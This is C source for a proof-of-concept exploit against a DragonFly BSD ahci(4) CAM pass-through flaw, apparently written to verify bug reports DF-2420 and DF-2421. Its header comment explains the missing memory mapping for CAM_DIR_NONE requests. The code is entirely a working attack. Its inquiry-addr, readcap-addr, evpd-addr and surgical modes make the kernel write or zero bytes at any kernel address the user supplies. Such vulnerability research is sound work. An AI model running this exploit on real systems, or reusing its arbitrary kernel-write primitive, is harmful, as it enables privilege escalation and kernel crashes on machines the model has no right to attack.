/*
 * ahcipoc.c - CAM pass-through trigger for DF-2420 / DF-2421 verification
 *              on the ahci(4) driver (DragonFly 6.5-DEVELOPMENT guest).
 *
 * Builds against the guest's own kernel CAM headers:
 *   cc -O -I/usr/src/sys -I/usr/src/sys/bus -o ahcipoc ahcipoc.c
 *
 * Modes (all issue a CAMIOCOMMAND XPT_SCSI_IO through the pass(4) device):
 *   inquiry-null            INQUIRY, CAM_DIR_NONE, data_ptr = NULL
 *   inquiry-addr <hex>      INQUIRY, CAM_DIR_NONE, data_ptr = <hex> (kernel VA)
 *   readcap-addr <hex> [len] READ_CAPACITY, CAM_DIR_NONE, data_ptr = <hex>
 *   evpd-addr <hex>         INQUIRY EVPD page 0x80, CAM_DIR_NONE, data_ptr=<hex>
 *   surgical <hex> [len]    INQUIRY, CAM_DIR_NONE, data_ptr = <hex> (writable
 *                           kernel target, e.g. hostname+off; verify via sysctl)
 *   read10                  normal READ_10, CAM_DIR_IN, mapped user buffer
 *                           (used with the DF-2420 free-list drain rig)
 *   atapi <cdbhex...>       CCB to an ATAPI pass device (DF-2420 atapi_io path)
 *
 * DF-2421 mechanism (sys/bus/cam/scsi/scsi_pass.c:565-568,
 * sys/bus/cam/cam_periph.c:677): a CAM_DIR_NONE XPT_SCSI_IO is NEVER run
 * through cam_periph_mapmem(), so csio->data_ptr is passed to the SIM
 * verbatim. ahci_xpt_scsi_disk_io() (sys/dev/disk/ahci/ahci_cam.c:1083,
 * :1109/:1159/:1693) bzero()s and fills that raw pointer in kernel context.
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <cam/cam.h>
#include <cam/cam_ccb.h>
#include <cam/scsi/scsi_pass.h>

static int devfd;

static void
send_ccb(union ccb *ccb, const char *what)
{
	int error;

	error = ioctl(devfd, CAMIOCOMMAND, ccb);
	/* if the kernel panics we never get here */
	if (error)
		warn("CAMIOCOMMAND(%s) returned error", what);
	printf("%s: ioctl=%d ccb_h.status=0x%x cam_status=0x%x scsi_status=0x%x\n",
	    what, error, ccb->ccb_h.status,
	    ccb->ccb_h.status & CAM_STATUS_MASK, ccb->csio.scsi_status);
}

static void
build_io(union ccb *ccb, u_int8_t *cdb, int cdb_len, u_int8_t *data_ptr,
    u_int32_t dxfer_len, u_int32_t camflags)
{
	memset(ccb, 0, sizeof(*ccb));
	ccb->ccb_h.func_code = XPT_SCSI_IO;
	ccb->ccb_h.flags = camflags;		/* CAM_DIR_NONE etc. */
	ccb->ccb_h.retry_count = 1;
	ccb->ccb_h.timeout = 30 * 1000;
	ccb->csio.cdb_len = cdb_len;
	memcpy(ccb->csio.cdb_io.cdb_bytes, cdb, cdb_len);
	ccb->csio.data_ptr = data_ptr;
	ccb->csio.dxfer_len = dxfer_len;
	ccb->csio.sense_len = sizeof(ccb->csio.sense_data);
}

int
main(int argc, char **argv)
{
	union ccb ccb;
	u_int8_t cdb[16];
	u_int8_t buf[4096];
	const char *dev = "/dev/pass0";
	int argi = 1;

	if (argc > 2 && !strcmp(argv[1], "-d")) {
		dev = argv[2];
		argi = 3;
	}
	if (argi >= argc)
		errx(2, "usage: %s [-d passdev] <mode> [args]", argv[0]);

	devfd = open(dev, O_RDWR);
	if (devfd < 0)
		err(1, "open %s", dev);
	printf("ahcipoc: device %s pid %d\n", dev, getpid());

	memset(cdb, 0, sizeof(cdb));
	memset(buf, 0, sizeof(buf));

	if (!strcmp(argv[argi], "inquiry-null")) {
		cdb[0] = 0x12; cdb[4] = 36;			/* INQUIRY */
		build_io(&ccb, cdb, 6, NULL, 36, CAM_DIR_NONE);
		send_ccb(&ccb, "inquiry-null");
	} else if (!strcmp(argv[argi], "inquiry-addr")) {
		u_int8_t *addr = (u_int8_t *)strtoull(argv[argi+1], NULL, 16);
		cdb[0] = 0x12; cdb[4] = 36;
		build_io(&ccb, cdb, 6, addr, 36, CAM_DIR_NONE);
		printf("target kernel VA %p\n", addr);
		send_ccb(&ccb, "inquiry-addr");
	} else if (!strcmp(argv[argi], "readcap-addr")) {
		u_int8_t *addr = (u_int8_t *)strtoull(argv[argi+1], NULL, 16);
		u_int32_t len = (argi+2 < argc) ? strtoul(argv[argi+2], NULL, 0) : 8;
		if (len < 8) len = 8;
		cdb[0] = 0x25;				/* READ_CAPACITY */
		build_io(&ccb, cdb, 10, addr, len, CAM_DIR_NONE);
		printf("target kernel VA %p len %u\n", addr, len);
		send_ccb(&ccb, "readcap-addr");
	} else if (!strcmp(argv[argi], "evpd-addr")) {
		u_int8_t *addr = (u_int8_t *)strtoull(argv[argi+1], NULL, 16);
		cdb[0] = 0x12; cdb[1] = 0x01; cdb[2] = 0x80; cdb[4] = 32;
		build_io(&ccb, cdb, 6, addr, 32, CAM_DIR_NONE);
		printf("target kernel VA %p (VPD page 0x80)\n", addr);
		send_ccb(&ccb, "evpd-addr");
	} else if (!strcmp(argv[argi], "surgical")) {
		u_int8_t *addr = (u_int8_t *)strtoull(argv[argi+1], NULL, 16);
		u_int32_t len = (argi+2 < argc) ? strtoul(argv[argi+2], NULL, 0) : 36;
		cdb[0] = 0x12; cdb[4] = 0xff & len;
		build_io(&ccb, cdb, 6, addr, len, CAM_DIR_NONE);
		printf("surgical: zeroing %u bytes at kernel VA %p\n", len, addr);
		send_ccb(&ccb, "surgical");
	} else if (!strcmp(argv[argi], "read10")) {
		cdb[0] = 0x28; cdb[8] = 1;			/* READ_10 1 sector */
		build_io(&ccb, cdb, 10, buf, 512, CAM_DIR_IN);
		send_ccb(&ccb, "read10");
	} else if (!strcmp(argv[argi], "atapi")) {
		int n = 0;
		for (argi++; argi < argc && n < 16; argi++, n++)
			cdb[n] = strtoul(argv[argi], NULL, 16);
		if (n < 6)
			errx(2, "atapi: need at least 6 cdb bytes");
		build_io(&ccb, cdb, n, buf, 512, CAM_DIR_IN);
		send_ccb(&ccb, "atapi");
	} else {
		errx(2, "unknown mode %s", argv[argi]);
	}
	return (0);
}
